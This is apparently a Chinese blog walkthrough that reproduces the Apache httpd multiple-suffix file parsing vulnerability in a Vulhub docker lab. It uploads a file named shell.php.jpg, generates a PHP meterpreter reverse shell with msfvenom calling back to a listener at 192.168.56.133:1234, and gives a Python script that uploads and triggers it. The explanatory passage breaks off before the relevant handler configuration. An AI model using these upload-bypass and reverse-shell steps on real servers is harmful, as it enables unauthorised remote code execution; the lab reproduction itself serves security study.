Apache中间件——文件解析漏洞

Apache httpd多文件解析漏洞

Vulnhub官方复现教程

https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability/

Apache HTTPD支持一个文件有多个后缀。并为不同的后缀执行不同的命令。

AddType text/html .html
AddLanguage zh-CN .cn
12

其给.html后缀增加了media-type,值为text/html;给.cn后缀增加了语言,值为zh-CN。此时,如果用户请求文件index.cn.html,他将返回一个中文的html页面。

以上就是Apache多后缀的特性。如果运维人员给.php后缀增加了处理器:

复现漏洞

cd httpd/apache_parsing_vulnerability /进入目录

docker-compose up -d /启动环境

1.访问http://ip:80 有一个上传漏洞。

Apache中间件——文件解析漏洞_第1张图片

2.生成一个php脚本,命名为shell.php.jpg绕过上传

Apache中间件——文件解析漏洞_第2张图片

3.上传完成有一个图片存放的地址。

Apache中间件——文件解析漏洞_第3张图片

4.访问http://ip/uploadfiles/shell.php.jpg

Apache中间件——文件解析漏洞_第4张图片

反弹shell

1.利用msf生成一个.php的shell

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.133 LPORT=1234 -f raw >text.php

2.开启msf监听

Apache中间件——文件解析漏洞_第5张图片

3.上传shell文件

4.访问shell文件

利用python上传shell文件

生成shell文件

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.133 LPORT=1234 -f raw >text.php

开启msf监听,执行python文件。拿到shell

import os
import requests
import time
url = "http://ip"
path = os.path.dirname(__file__)+"/文件名"
file = {"file_upload":open(path)}
requests.post(url,files=file)

time.sleep(1)
url =url+"uploadfiles/文件名"
requests.get(url)

开启msf监听

你可能感兴趣的:(渗透测试)